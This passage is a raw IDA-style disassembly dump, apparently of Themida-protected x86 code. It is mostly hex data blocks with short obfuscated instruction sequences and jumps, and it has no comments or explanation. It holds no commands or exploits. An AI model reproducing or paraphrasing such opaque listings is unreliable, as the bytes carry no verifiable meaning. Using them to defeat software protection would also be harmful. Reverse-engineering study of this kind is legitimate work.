0E9243C8Bh, 0FFFFCD9Ah, 200BAh dd 0FFD38900h, 835A2434h, 0D82104C4h, 53241C8Bh, 91E9E389h dd 7Eh, 12E959E8h, 0B9000041h, 2Ch, 1A4AC181h, 0F90117DAh dd 1A4AE981h, 565217DAh, 0BEh, 5EF28900h, 1DFEB850h, 0E8D15BB1h dd 112DD8F7h, 35732463h, 509E5D71h, 158C229h, 81C281CAh dd 30F9D50h, 4791E902h, 8B70000h, 0E922E780h, 0F2Ah, 0D7CAC781h dd 0FA014A42h, 0B1F2815Fh, 528E6A65h, 5A2414F7h, 5006E2C1h dd 0FFE200E9h, 0C9BB53FFh, 810F9564h, 0A5483EC6h, 81DE2955h dd 0A5483EEEh, 1A89E955h, 0DF010000h, 2C7815Bh, 0E9000000h dd 52C1h, 1C90C381h, 875E6EF7h, 95C241Ch, 68E2D1C2h, 3E14h dd 0E9241C89h, 0E4h, 46850h, 48B0000h, 0BD6E924h, 0E2800000h dd 80D2F6BAh, 0EC832AEAh, 241C8904h, 0E3C026B3h, 0DEB8005h dd 285BDA28h, 0F17AE9D3h, 0C181FFFFh, 0B59DE4CEh, 0FFD108E9h dd 81D1F7FFh, 65F5C3C1h, 0CDC281BBh, 169FC5Dh, 0CDEA81CAh dd 5969FC5Dh, 2B850h, 0C2010000h, 6FFFE9h, 247C3100h, 2434FF04h dd 81243C8Bh, 4C4h, 0E7895700h, 4C781h, 0F7E90000h, 5BFFFFD6h dd 8958C101h, 34FF384Ah, 240C8B24h, 4C481h, 0C4830000h dd 36CDE904h, 0E95D0000h, 3F29h, 2C781h, 3C870000h, 5D5FE924h dd 0CD010000h, 0FFD62FE9h, 0FC909FFh, 36AA84h, 50386800h dd 8F540000h, 4812404h, 424h, 24348B00h, 3ABBE9h, 3EEC100h dd 9604EEC1h, 0F701E883h, 0E9C631D0h, 0A14h, 168h, 241C8B00h dd 4C481h, 89570000h, 4C781E7h, 51000000h, 4B9h, 0F8DE900h dd 81E90000h, 5BFFFFC0h, 81240C8Bh, 4C4h, 0D0E95500h, 5B00004Ah dd 2ED268h, 0DEEE900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5466C2: ; CODE XREF: Themida_:0054AF62j xor eax, 24AF17B0h sub edi, eax pop eax xchg edi, [esp] mov esp, [esp] mov [esp], edx push eax pushf jmp loc_542728 ; --------------------------------------------------------------------------- dw 59BEh dd 46239721h, 0DEE9D6F7h db 13h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5466E7: ; CODE XREF: Themida_:0054A42Fj xor eax, [esp] mov esp, [esp] imul ecx, eax push ecx pushf jmp loc_542728 ; --------------------------------------------------------------------------- aLSdc db '‹$$',9,'Âé„C',0 dd 8BF83100h, 0C481243Ch, 4, 5756C331h, 9B2AF9BFh, 0D8E78110h dd 0E93F8D47h, 784Dh, 81242489h, 42404h, 0E95E0000h, 46D8h ; --------------------------------------------------------------------------- loc_546730: ; CODE XREF: Themida_:0054D192j push ebx mov ebx, 4772AFFh mov eax, ebx pop ebx mov edi, 4772AEFh xor edi, eax pop eax and ebx, edi mov edi, [esp] push 665Bh mov [esp], ebx push esp mov ebx, [esp] add esp, 4 push edi mov edi, 4 add ebx, edi pop edi add ebx, 4 xor ebx, [esp] jmp loc_54CB5D ; --------------------------------------------------------------------------- db 0FFh dd 0E9042474h, 64D8h, 4EC81h, 34890000h, 4EC8324h, 0E9242489h dd 4828h, 0E92434FFh, 2511h, 0FB353ACh, 0CBFECBFEh, 8679E9h dd 4C48100h, 30000000h, 1C8B66F8h, 0E3895324h, 4C381h dd 0BA520000h, 2, 875AD301h, 5AE9241Ch, 53FFFFE4h, 0FFD796E9h db 0FFh ; --------------------------------------------------------------------------- loc_5467CD: ; CODE XREF: Themida_:0054C22Bj add ebp, 0D046EE01h sub ecx, ebp pop ebp jmp loc_54E161 ; --------------------------------------------------------------------------- db 58h dd 148BD030h, 4C48324h, 0B4506651h, 66E18898h, 0E9C9FE58h dd 6E79h, 0B951E589h, 4, 12E9CD01h, 8BFFFFF3h, 89572404h dd 4C781E7h, 81000000h, 4C7h, 243C8700h, 0A09E9h, 24148900h dd 9F5EF868h, 0E2815A25h, 48B12EB1h, 0E901EA83h, 7066h dd 4C6815Eh, 81000000h, 4C6h, 4F71E900h, 0D9F60000h, 8014B353h dd 0D3E99ECBh, 87000020h, 0ED835EF5h, 39BB53FFh, 3195F614h dd 0EFE95BDDh, 5600005Bh, 0FFFFFFBEh, 771FE9FFh, 815C0000h dd 2C3h, 241C8700h, 2930E9h, 0BB535200h, 53AD586Ah, 4822E9h db 0 ; --------------------------------------------------------------------------- loc_54688D: ; CODE XREF: Themida_:0054840Aj mov bl, 22h shl bl, 8 shl bl, 1 inc bl add bl, 0F5h or bl, 0D6h xor bl, 76h mov dl, bl pop ebx add dl, 87h sub cl, dl jmp loc_54432B ; --------------------------------------------------------------------------- dd 0E9240489h, 7F55h, 12CB6DBBh, 5BDE0147h, 348BF301h dd 4C48324h, 5DE930FFh, 80FFFFBEh, 0CA0022C1h, 6E27E9h dd 241C8B00h, 4C481h, 0C4830000h, 68EB8004h, 6168C328h dd 0E900001Bh, 6721h, 0E924348Bh, 5CEEh, 0C261E958h, 0F531FFFFh dd 21E8055Eh, 0E8010ADAh, 0FFE411E9h, 0A80505FFh, 0C5010008h dd 242C8758h, 6EF1E9h db 0 ; --------------------------------------------------------------------------- loc_54691D: ; CODE XREF: Themida_:00545A09j xor [esp], edx jmp loc_543FF2 ; --------------------------------------------------------------------------- db 66h, 51h, 0F6h dd 59662414h, 14F65166h, 80596624h, 0B75355F1h, 0ADE95178h dd 5A00005Dh, 6121EA81h, 0B6E9FF67h, 51000000h, 66E56CB9h dd 59C80107h, 3D2AEB81h, 0C30163F2h, 3D2AC381h, 15863F2h dd 82F9E9FBh, 0E6810000h, 63962919h, 38D1BF57h, 0D6E9325Bh dd 5AFFFFE1h, 4C681h, 34870000h, 8619E924h, 1C890000h dd 28BB24h, 8EE90000h db 4Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_546997: ; CODE XREF: Themida_:00543261j push ebx mov ebx, 74D81113h dec ebx and ebx, 69046EC8h add ebx, 0CBD127AFh sub eax, ebx pop ebx pop edx push edi mov edi, 71C73FDAh sub edi, 71C73FD6h jmp loc_54DAEB ; --------------------------------------------------------------------------- db 68h dd 72C3h, 0BA241489h, 5BB42F21h, 9BE9D089h db 14h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5469D3: ; CODE XREF: Themida_:0054AEEDj xor edx, 7141595Ah push esi jmp loc_54AF3F ; --------------------------------------------------------------------------- db 81h dd 4C1h, 240C8700h, 0FFC91CE9h db 0FFh ; --------------------------------------------------------------------------- loc_5469ED: ; CODE XREF: Themida_:005477ADj mov al, 0CFh shl al, 7 jmp loc_5461F8 ; --------------------------------------------------------------------------- db 89h dd 53B5240Ch, 8488E9h, 5AD38900h, 439CC381h, 1BE9664Dh dd 0E9000073h, 0FFFFBD14h, 226D68h, 2ACEE900h, 3CBA0000h dd 8119A43Ch, 6F727BCAh, 5E2C138h, 0FFCEC2E9h, 0FFF2BBFFh dd 0D801BEDFh, 0E9C3015Bh, 0FFFFD412h ; --------------------------------------------------------------------------- loc_546A40: ; CODE XREF: Themida_:00542D02j add al, 30h push small 19D5h mov [esp], cx push ebx mov bl, 3 push edx mov dh, bl mov ch, dh pop edx mov ebx, [esp] add esp, 4 push edx mov dh, 7Bh jmp loc_5474BD ; --------------------------------------------------------------------------- aRss db 'Réé%',0 align 2 dw 0BB53h dd 2F856C70h, 10A3C381h, 0F381373Ah, 49453BFh, 0E18AEB81h dd 11051E79h, 2970B94Fh, 4F112DD8h, 0E95B70B9h, 0A06h dd 35C7BE56h, 0B7E962FBh, 0BD00000Fh, 21703E1Ch, 7A9BBA52h dd 0D5093130h, 0D0E5815Ah, 832F9942h, 0F581FFEDh, 21104295h dd 0FFEE06E9h, 50685DFFh, 0E9000006h, 2822h, 592434FFh dd 0D8A1E951h, 0DEBAFFFFh, 8958E930h, 86E95AD1h, 57FFFFCBh dd 7529E9h, 5EF18900h, 0B850D1F7h, 520A0806h, 525D8F7h dd 0E922D01Dh, 1452h, 85DC781h, 0CF01357Ah, 85DEF81h, 0E951357Ah dd 0FFFFFF50h, 4C3815Ch, 81000000h, 2C3h, 241C3300h, 33241C31h dd 248B241Ch, 4493E924h, 0C310000h, 240C3324h, 924248Bh dd 0C9840FC0h, 0FF00004Eh, 34FF1C77h, 0E9535924h, 0FFFFE176h dd 4C481h, 0AEE90000h, 0E9000023h, 0FFFFBBC8h, 5C24048Fh dd 9C240421h, 0FFBBCEE9h db 0FFh ; --------------------------------------------------------------------------- loc_546B6D: ; CODE XREF: Themida_:0054DC47j pop ecx add dh, 8Dh sub dh, 0D7h mov ch, dh pop edx jmp loc_542CEC ; --------------------------------------------------------------------------- dd 5E984B5h, 81FFFFC2h, 0AD04246Ch, 2919CE37h, 0E904246Ch dd 0FFFFDAD8h, 0ED25F8BBh, 2AAE902h, 0E9570000h, 0FFFFC7DEh dd 7DBDCA81h, 0BF5741E2h, 25165D7Fh, 295FFA01h, 0F9055AD0h dd 0E90A0232h, 0FFFFBC2Eh, 8904EC83h, 55E92414h, 1000005h dd 251DE9EFh, 77FF0000h, 2434FF1Ch, 5D545558h, 70BF5756h dd 0E95EC814h, 0FFFFEEC9h, 3BBDE95Bh, 0C5810000h, 4, 0E9242C87h dd 0FFFFC5BCh, 574ABEh, 0C1EED177h, 1AE904E6h, 68FFFFBCh dd 2FE1h, 53DFE9h, 240C8700h, 0AE8C15Ch, 0DDE9C831h, 5D000072h dd 83240C8Bh, 48904ECh, 5E08924h, 4, 405h, 74FF5000h, 8F580424h dd 248B2404h, 4F6B6824h, 0C890000h, 0E1895124h, 4C181h dd 0E9810000h, 4, 5C240C87h, 89243C89h, 0F88950F7h, 8B58C189h dd 0C483243Ch, 285BE904h, 0E9560000h, 4858h, 665EF580h dd 3FB050h, 205866C5h, 0EFC059EFh, 66DFF606h, 3019B151h dd 305966CFh, 0FF4AE9F9h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_546C9E: ; CODE XREF: Themida_:00549F89j pop dword ptr [esp] pop esp add ebx, 4 add ebx, 2 xchg ebx, [esp] jmp loc_54EC49 ; --------------------------------------------------------------------------- loc_546CB6: ; CODE XREF: Themida_:0054B3C1j add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp add esp, 4 sub esp, 4 mov [esp], ebx jmp loc_54C1F3 ; --------------------------------------------------------------------------- dd 5204C483h, 0F0F3FFBAh, 7C0BE9C7h, 8B660000h, 0A7E92404h dd 8BFFFFC5h, 0C481240Ch, 4, 8324148Bh, 1C8B04C4h, 4C48324h dd 3DD6E9h, 4AD2F700h, 0E941CA87h, 0FFFFBB40h, 7DD7C781h dd 0DF0177E9h, 1543BB53h, 0F381603Fh, 4290540Ch, 0E957D3F7h dd 0FFFFC542h, 54B36853h, 0EC830000h, 24248904h, 4BE56h dd 0F3E90000h, 5B00006Eh, 12685553h, 89000024h, 7EBE2434h dd 81638123h, 0B10BABE6h, 69BD557Ah, 1F29160h, 0F5895DEEh dd 72E9515Eh, 2D000068h, 5F2E6FD0h, 2434FF5Bh, 5624148Bh dd 0C681E689h, 4, 8704C683h, 835C2434h, 0C08304C4h, 24048702h dd 25B0E95Ch db 2 dup(0) ; --------------------------------------------------------------------------- loc_546D96: ; CODE XREF: Themida_:00542E21j pop esp idiv cx push ebx mov ebx, esp push eax push edx push ebp mov ebp, 54C03A39h mov edx, 29786822h xor edx, ebp mov ebp, [esp] add esp, 4 push ebx mov ebx, 21F7FC4h mov eax, 7B98D25Bh add eax, ebx pop ebx xor eax, edx jmp loc_54437D ; --------------------------------------------------------------------------- dw 3489h dd 55E68924h, 5363CDBDh, 76ED8124h, 0F764B822h, 0A46852D5h dd 0E94064BEh, 0FFFFBB6Dh, 0FFDCE95Ch, 0E952FFFFh, 0FFFFEBA4h dd 610AED81h, 70E959FBh, 33FFFFEAh, 0C31240Ch, 240C3324h dd 2CD3665Ch, 15E99C24h, 5EFFFFB9h, 1CDC68h, 24148900h dd 4BAh, 0FFD30100h, 2CE92434h, 2D00002Ch, 0A400E876h dd 0E8E9C601h, 8100004Eh, 2042444h, 5D60BE68h, 0E940478Fh dd 3A07h, 0BEE9D929h db 10h, 2 dup(0) ; --------------------------------------------------------------------------- loc_546E4F: ; CODE XREF: Themida_:0054DFBBj sub ebx, 79365BE9h jmp loc_54D300 ; --------------------------------------------------------------------------- dw 34FFh dd 0C4815F24h, 4, 0FFB8BFE9h, 0EDC15FFFh, 3E5C107h, 223E581h dd 6856480Dh, 70D0233Fh, 1254E95Eh, 0AEBD0000h, 0F7615B22h dd 0EEEEE9DDh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_546E8E: ; CODE XREF: Themida_:00543FF6j cmp ecx, eax pushf jmp loc_542728 ; --------------------------------------------------------------------------- dw 8956h dd 0C10EE9E6h, 814DFFFFh, 73016FC5h, 0BF2BE928h, 0C483FFFFh dd 8BC68804h, 0C4832404h, 0F3885304h, 0E950C3FEh, 0D53h dd 42770FB9h, 44C98123h, 57216370h, 0A24060BFh, 47D7F70Ch dd 81DFF74Fh, 2C3A22CFh, 79F78128h, 0E915522Ch, 67B2h ; --------------------------------------------------------------------------- loc_546EE8: ; CODE XREF: Themida_:00547BE1j add eax, ebx mov ebx, [esp] jmp loc_54BC4F ; --------------------------------------------------------------------------- dw 0BFh dd 0E9000000h, 1F41h, 0E004D028h, 24148B66h, 5202C483h dd 0EAC092B2h, 38CA8004h, 0F607EAC0h, 95C280DAh, 2EC81h dd 89660000h, 0B8B1240Ch, 3DE9C800h, 29000041h, 0DEC181C1h dd 8B3B0377h, 89572404h, 59B0E9E7h, 48F0000h, 89665C24h dd 0DDE92404h, 66FFFFB7h, 8124048Bh, 4ECh, 240C8900h, 0FFE31CE9h dd 24248BFFh, 32E9E9h, 5F6BE00h, 0EEC11521h, 47E95507h dd 8100004Ch, 0D45B04F1h, 59CD8974h, 815DEF01h, 4EFh, 243C8700h dd 0FFCA50E9h, 0E95E54FFh, 0A8h, 50240431h, 0D9E95852h dd 0AD00003Dh, 52ECE9h, 240C8700h, 0E9C15Ch, 840FC009h dd 0FFFFBB5Ch, 4EC81h, 2C890000h, 0DDDAE924h, 0DD00FFFFh dd 55E95B66h, 8700003Ah, 895C243Ch, 74FF2404h, 48B0424h dd 4C48324h, 5C24048Fh, 4286E9h, 4205C00h, 39E99C24h, 0BFFFFFB7h dd 70BD4693h, 685FFD21h, 1D2Dh, 0E9243C89h, 1D58h ; --------------------------------------------------------------------------- loc_547004: ; CODE XREF: Themida_:00547787j shl ecx, 3 jmp loc_54DE97 ; --------------------------------------------------------------------------- dd 50FFC683h, 0A30A2AB8h, 0FFC08306h, 2D40D8F7h, 8F7C368Ch dd 48BC601h, 0E0895024h, 405h, 22D7E900h, 680000h, 0E900005Fh dd 5813h, 4ACBBB53h, 0FCE91E69h, 1FFFFD6h, 30B205F0h, 0E95E49A3h dd 0FFFFFA16h, 159AE95Bh, 0C1810000h, 21F53BBFh, 0E3E9C889h dd 83000010h, 26E904C4h, 5C000066h, 0FF241C89h, 5B042474h dd 0FFE0F2E9h, 0CAE381FFh, 8133606Eh, 7E0C8EEBh, 3231E956h dd 0E9550000h, 4210h, 0C631F031h, 828AC681h, 0F029327Bh dd 8324348Bh, 0E95604C4h, 0FFFFE08Bh, 4C181h, 0C1830000h dd 240C8704h, 5654E9h, 241C8900h, 0CA4FE8BBh, 5BDF896Ah dd 0FFC403E9h, 4BBF57FFh, 81408C35h, 8C2E71CFh, 6CC78152h dd 890F8E17h, 68575FFDh, 135A440Eh, 3E2FE95Fh, 0F75D0000h dd 34B935D8h, 312D637Fh, 1A0CDABh, 0FA0158C2h, 79D1EA81h dd 1FE9102Eh, 89FFFFC9h, 3481240Ch, 0D13F0324h, 241C8B1Ah dd 0E904C483h, 0FFFFD3F8h, 0D04B03BAh, 0B5016878h, 0E95E872Fh dd 660Dh, 0FFB5F3E9h, 4FE5CFFh, 0E9E99C24h, 53FFFFB5h dd 0CF909DBBh, 23B0E946h, 1C8B0000h, 4C48324h, 575AD101h dd 6A99BB53h, 9BBF4FBCh, 294FBC6Ah, 0F9015BDFh, 240C875Fh dd 409665Ch, 0B5E99C24h, 81FFFFB5h, 4A61FBF7h, 0E9FE31C0h dd 0E3Eh, 4C481h, 0EA810000h, 300812F1h, 0C281C201h, 300812F1h dd 582434FFh, 4C481h, 47E90000h, 0B900004Dh, 2, 53749805h dd 2DC80121h, 21537498h, 55240C8Bh, 7509E954h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5471BE: ; CODE XREF: Themida_:0054E035j push cx pushf jmp loc_542728 ; --------------------------------------------------------------------------- aQYG db 'Q¹y',0Dh,'£',0 dd 8422152Dh, 0E9C8295Ch, 5318h, 5AEE8146h, 814D242Dh dd 2935ECC6h, 0CEE95092h, 33FFFFEBh, 895C2414h, 0DE892434h dd 24348156h, 679825C4h, 25C43558h, 0E95E6798h, 0FFFFF996h dd 24E98149h, 10EBA67h, 4852E9CBh, 24890000h, 24048124h dd 4, 332E959h, 335C0000h, 2C31242Ch, 242C3324h, 4FF665Ch dd 0EDE99C24h, 0BDFFFFB4h, 24307E21h, 2C8BEE29h, 4C48124h dd 0E9000000h, 0FFFFC931h, 42474FFh, 0FFD0C1E9h, 24048FFFh dd 4D15E95Ch, 24890000h, 24048324h, 24048F04h, 4240483h dd 4C5815Dh, 53000000h, 4BBh, 5BDD2900h, 5C242C87h, 68243C89h dd 4, 5FF9215Fh, 5102E9C1h, 0B6E9E189h, 8B00000Fh, 85E92424h dd 66FFFFB4h, 83240C8Bh, 348904ECh, 68E68924h, 143Ah, 473E9h dd 2474FF00h, 2434FF04h, 4C48358h, 0FFD7BBE9h, 241C8BFFh dd 4C481h, 0EC810000h, 4, 0BD242C89h, 5751500Fh, 0FFFBB9E9h dd 8BFB01FFh, 8956243Ch, 4C681E6h, 0E9000000h, 50DDh, 24E9E389h dd 0BE00007Dh, 117707ACh, 0EEC1DEF7h, 0F8F68108h, 8900EE98h dd 0F8215EF7h, 0FFB529E9h, 0D0F75BFFh, 694EE9h, 1C875F00h dd 24248B24h, 3C0CE9h, 81EE0100h, 747938C6h, 111BE965h dd 0C6810000h, 0EF21B88Ch, 0FFF5B9E9h db 0FFh ; --------------------------------------------------------------------------- loc_547345: ; CODE XREF: Themida_:0054D454j add esp, 4 add eax, 2 push 3B62h mov [esp], eax push dword ptr [esp+4] jmp loc_54B54F ; --------------------------------------------------------------------------- db 5Dh dd 2414F755h, 635DE95Dh, 0EA810000h, 18006A01h, 31E9C229h dd 81FFFFDDh, 17478DEBh, 5BD82174h, 71E9C009h, 0AC00002Eh dd 85E9D830h, 0F700000Dh, 0D400E9DEh, 0C481FFFFh, 4, 8904EC83h dd 9DE92414h, 5B000035h, 8904EC83h, 0E6892434h, 4C681h dd 65E90000h, 0F700005Fh, 1C13E9DAh, 0C1830000h, 240C8704h dd 4ED835Ch, 5C242C87h, 51241C89h, 4A97E950h, 0E9510000h dd 0FFFFC658h, 775C96BFh, 5DEF317Eh, 0FFDD7CE9h, 0FA015EFFh dd 0FFC04FE9h, 2434FFFFh, 2162E9h, 0E9C2FE00h, 1CD5h, 34FF5852h dd 89515A24h, 4C181E1h, 0E9000000h, 4671h, 0B1E9E689h dd 49FFFFECh, 0FFBE99E9h, 241C87FFh, 8924248Bh, 0E958242Ch dd 0FFFFFF2Bh, 0E95AD500h, 2130h, 240C8B66h, 3EF268h, 0CB62E900h dd 875CFFFFh, 0F9E9240Ch, 0B8000067h, 4, 0FFBD63E9h, 241CF7FFh dd 0B2C2E99Ch, 0C780FFFFh, 0BF2AE927h, 31ADFFFFh, 2AE968D8h dd 3C890000h, 1F9C6824h, 2C890000h, 1BF4BD24h, 0E5815800h dd 7B124E99h, 0FFBCC2E9h, 66E530FFh, 2948E958h, 5F500000h dd 5040E9h, 5E08900h, 4, 0E904E883h, 23Eh, 0BA241489h dd 51D01BD2h, 6097E9h db 0 ; --------------------------------------------------------------------------- loc_5474BD: ; CODE XREF: Themida_:00546A5Fj sub al, dh pop edx add al, 0B2h add al, ch jmp loc_548948 ; --------------------------------------------------------------------------- db 59h, 33h, 2Ch dd 0B345E924h, 0FABAFFFFh, 42618A20h, 0D8C28142h, 29787ABAh dd 0C1295AD0h, 6DEE9h, 24248900h, 4240483h, 83241C8Bh dd 0E95504C4h, 0FFFFB73Fh, 0A5B95155h, 0E9778B2Bh, 59E4h dd 0C581E589h, 4, 4426E951h, 0E7BD0000h, 0BF417F3Ch, 5493044h dd 89E9EF01h, 81000073h, 0AF0E27CEh, 1CF75608h, 0EEC15E24h dd 0BCC68102h, 56F31F25h, 55FD1BEh, 2DEE8147h, 467AA542h dd 0E9C6E956h, 0B5B8FFFFh, 0E9166134h, 0FFFFB5FFh, 685268h dd 416BE900h, 0CF010000h, 0C7835959h, 243C8702h, 0E924248Bh dd 2595h, 0D048E95Ch, 0E95CFFFFh, 0FFFFBF9Ah ; --------------------------------------------------------------------------- loc_547580: ; CODE XREF: Themida_:0054DD61j push ecx mov ecx, 3EDC3D32h jmp loc_544F32 ; --------------------------------------------------------------------------- db 52h dd 59D8BB53h, 0DA8934BCh, 0E92434FFh, 40E7h, 2C8BEF01h dd 0D72DE924h, 875BFFFFh, 248B242Ch, 788E924h, 9C500000h dd 0FFB16FE9h, 4BB53FFh, 81000000h, 34166BEDh, 81DD0121h dd 34166BC5h, 0C5815B21h, 4, 2474FF55h, 48F5D04h, 6340E924h dd 5F540000h, 0DE2DE953h, 0EBC1FFFFh, 94E38102h, 4375F046h dd 0FFE170E9h, 81E389FFh, 4C3h, 4EB8100h, 87000000h, 895C241Ch dd 0E9532414h, 268Ah, 8104E3C1h, 27B5ABC3h, 8BD8298Dh dd 0C483241Ch, 147E0504h, 79E9020Ch, 29000049h, 3F13E9CFh dd 0D32D0000h, 176E038h, 38D305D0h, 0BF5776E0h, 3AA02649h dd 118AE9h db 0 ; --------------------------------------------------------------------------- loc_54764D: ; CODE XREF: Themida_:0054A67Cj mov edi, esp add edi, 4 add edi, 4 jmp loc_54E05B ; --------------------------------------------------------------------------- dd 2E6768h, 240C8900h, 0FFD4B3E9h, 1C895CFFh, 241C8B24h dd 720C68h, 24348900h, 8904EC83h, 4832424h, 685E0424h dd 6D73h, 0BB241C89h, 42431C5Fh, 14FCC381h, 0F74B3843h dd 77C381D3h, 8151A83Bh, 0AB24A8C3h, 0EFDE972h, 83580000h dd 0E95602EAh, 530Fh, 12390548h, 0C3017D10h, 0E9DF8958h dd 0FFFFEFEFh, 0ADC1815Fh, 0E9E560DEh, 5881h, 0E9242C87h dd 2AE1h, 74F5BE56h, 5DE96F77h, 6600000Dh, 5F5E9ADh, 4870000h dd 0DAB9E924h, 0F929FFFFh, 81E9295Fh, 2B7886C1h, 59CD8731h dd 980EED81h, 0BCE90A35h, 5FFFFF4h, 4, 0E9240487h, 733Eh dd 0D8289704h, 6666B551h, 0E93A1668h, 8, 0E9240489h, 0FFFFEBA2h dd 24148966h, 1BF2E9h, 24043300h, 16DCE9h, 0BCC38100h dd 892EAE22h, 0F7815BDFh, 39404851h, 5306EFC1h, 5E19E9h dd 4C48300h, 5A1168h, 0B9A6E900h, 0E589FFFFh, 110DE9h db 0 ; --------------------------------------------------------------------------- loc_547771: ; CODE XREF: Themida_:00544F49j push ecx mov ecx, 7FCF3997h not ecx not ecx xor ecx, 1F603C34h add ecx, 6D06AE5h jmp loc_547004 ; --------------------------------------------------------------------------- dd 148BD030h, 289DE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_547796: ; CODE XREF: Themida_:0054BDC3j sub bl, 5Dh sub esp, 4 mov [esp], ecx mov cl, 5Ah not cl inc cl not cl inc cl push eax jmp loc_5469ED ; --------------------------------------------------------------------------- dw 19BDh dd 0E97DA549h, 0FFFFD5C9h, 4757E4BAh, 0BCF2812Dh, 813DE45Dh dd 0D34B22C2h, 0CAEA8115h, 0E9641E5Bh, 73EBh, 1C8BDE89h dd 0E2895224h, 4C281h, 0C2810000h, 4, 0E9241487h, 0D58h dd 50243489h, 6E746855h, 0E95D56C2h, 1FDCh, 12242C81h dd 5B3BE225h, 2512C381h, 72E93BE2h, 83FFFFECh, 1C8904ECh dd 378BE924h, 0C7680000h, 0E9239824h, 1A69h, 8324048Bh dd 0BB5304C4h, 3B023F28h, 83DBF743h, 2C8904ECh, 4EC8324h dd 50240C89h, 4606C1B8h, 58C1890Ch, 22E3C981h, 0C1815A93h dd 485DADAh, 9A1DE7BDh, 59CD314Eh, 5E6FC581h, 0B8506CA7h dd 62D66EAEh, 0E958C529h, 5EE7h, 0E776CA2Dh, 49E10528h dd 0E80161FBh, 4B2DE9h, 4C48300h, 3562E951h, 0D050000h dd 2970C547h, 470D2DD0h, 0BB2D70C5h, 55591B23h, 60D8E9h dd 24048300h, 0C2815A04h, 4, 43C7BD55h, 0E5C1575Ah, 38E58102h dd 8141F32Bh, 9EF4ECC5h, 5DEA29BEh, 8B241487h, 0C892424h dd 81595424h, 4C1h, 2C18300h, 0E9240C87h, 6B65h, 34FFD801h dd 0C4815B24h, 4, 62DD68h, 24148900h, 0FFC167E9h, 4C483FFh dd 1AE9C009h, 6800002Dh, 40DBh, 1DE4E9h db 0 ; --------------------------------------------------------------------------- loc_547915: ; CODE XREF: Themida_:0054D19Bj add esp, 2 sub esp, 4 mov [esp], ebx push 6E2Ch mov [esp], edx mov dl, 92h push ebp push 7D35h mov [esp], esp add dword ptr [esp], 4 pop ebp add ebp, 4 push edi push edx mov edx, 6BDE4269h neg edx shl edx, 4 inc edx sub edx, 421BD96Dh mov edi, edx pop edx sub ebp, edi pop edi xchg ebp, [esp] pop esp mov [esp], ecx push ebx mov bh, dl mov cl, bh pop ebx mov bl, cl pop ecx pop edx add al, bl jmp loc_54BDAE ; --------------------------------------------------------------------------- dd 0E9241C87h, 0FFFFF7BDh, 6055F381h, 0E95D5B9Dh, 5B0Bh dd 148BD601h, 4C48124h, 21000000h, 2434FFF0h, 4C4815Eh dd 0E9000000h, 0FFFFDC35h, 4C18159h, 83000000h, 0C8704C1h dd 0EC835C24h, 4BA1E904h, 215C0000h, 2434FFE8h, 81242C8Bh dd 4C4h, 4C48300h, 310BE8C1h, 762668C1h, 1C890000h, 2434FF24h dd 0C3E95758h, 1FFFFDEh, 31BD55C1h, 814E9710h, 97529F5h dd 0E5814561h, 17840C4Bh, 8103EDC1h, 0D5A65AC5h, 5DE92904h dd 4E98158h, 33000000h, 0C31240Ch, 240C3324h, 2404895Ch dd 0FFAD0FE9h, 2434FFFFh, 29AAE9h, 86F38100h, 8120875Dh dd 6F342DC3h, 3EBC1BEh, 0C381D3F7h, 7C76812h, 24048153h dd 262C7340h, 8124048Bh, 4C4h, 73402D00h, 1C8B262Ch, 6E4FE924h dd 0EEC10000h, 0F3C68107h, 0F74B4D6Fh, 67E681DEh, 50764A13h dd 399CE951h, 0E9430000h, 3318h, 32E368h, 241C8900h, 0BD55E389h dd 66490356h, 2E5EE9h, 664E6600h, 6602EEC1h, 0EB7FEE81h dd 8BF78966h, 0C4832434h, 0F8016604h, 243C8B66h, 0FB38E957h dd 0EF81FFFFh, 7E6574AFh, 0FFBD6CE9h, 80F328FFh, 6FE920EBh dd 59000069h, 0FFF395E9h, 68FFh, 34290000h, 3AE95E24h dd 52FFFFAFh, 2EFDB951h, 0B2BA355Ch, 3157C90Eh, 0F28159CAh dd 2FE155C1h, 5CB9C281h, 0EA814DEAh, 62B05949h, 0B9514A4Ah dd 61487B95h, 64F5C981h, 0E1D11147h, 0F181D1F7h, 25CF78EBh dd 8159CA31h, 0AA3058C3h, 0E9D3010Dh, 3316h, 8B243C33h dd 4082424h, 0FDE99C24h, 0FFFFFFABh, 34FF3C77h, 89525824h dd 4C281E2h, 68000000h, 18FBh, 0E9243C89h, 0FFFFCD19h dd 0CD75EB81h, 0D8891BF5h, 0FFB15FE9h, 57535DFFh, 8974B4BFh dd 3A72E962h, 8B660000h, 0A4682404h, 8900005Eh, 0B968243Ch dd 89000014h, 0BE562424h, 4, 4247401h, 243C8B5Eh, 5304C483h dd 1D013CBBh, 4F3EE96Bh, 4330000h, 24043124h, 8B240433h dd 0EBE92424h, 5AFFFFE0h, 2CEC6858h, 2C890000h, 0BD24h dd 0C5810000h, 355A03FDh, 0ED81D529h, 355A03FDh, 52E9EA31h dd 58FFFFDDh, 0E9FFE983h, 0FFFFCD83h ; --------------------------------------------------------------------------- loc_547BD0: ; CODE XREF: Themida_:0054D7E8j mov ebx, 0CEF097Eh and ebx, 288118C9h xor ebx, 881084Ch jmp loc_546EE8 ; --------------------------------------------------------------------------- loc_547BE6: ; CODE XREF: Themida_:0054CC5Ej pop ecx jmp loc_5435D5 ; --------------------------------------------------------------------------- dd 0C205F801h, 0E951AB49h, 5E3Eh, 6866h, 8A240428h, 0C4832404h dd 34D0F602h, 8BC208A7h, 0A0E92404h, 88FFFFCEh, 58C688D8h dd 0B151665Bh, 66CE2843h, 81240C8Bh, 2C4h, 5AF00000h, 74BF68h dd 8AEE900h, 48B0000h, 4C48324h, 0F240E955h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_547C42: ; CODE XREF: Themida_:00549777j pop esp jmp loc_54BDE3 ; --------------------------------------------------------------------------- dd 3ECA814Ah, 0C15C120Fh, 0EA8105EAh, 75A465CBh, 0FFAEEFE9h dd 81ECD0FFh, 2ECh, 1C896600h, 6103E924h, 0C8B0000h, 0B176824h dd 14890000h, 51E28924h, 0C73A30B9h, 15C18140h, 0E9496600h dd 0FFFFAE10h, 4EC81h, 4890000h, 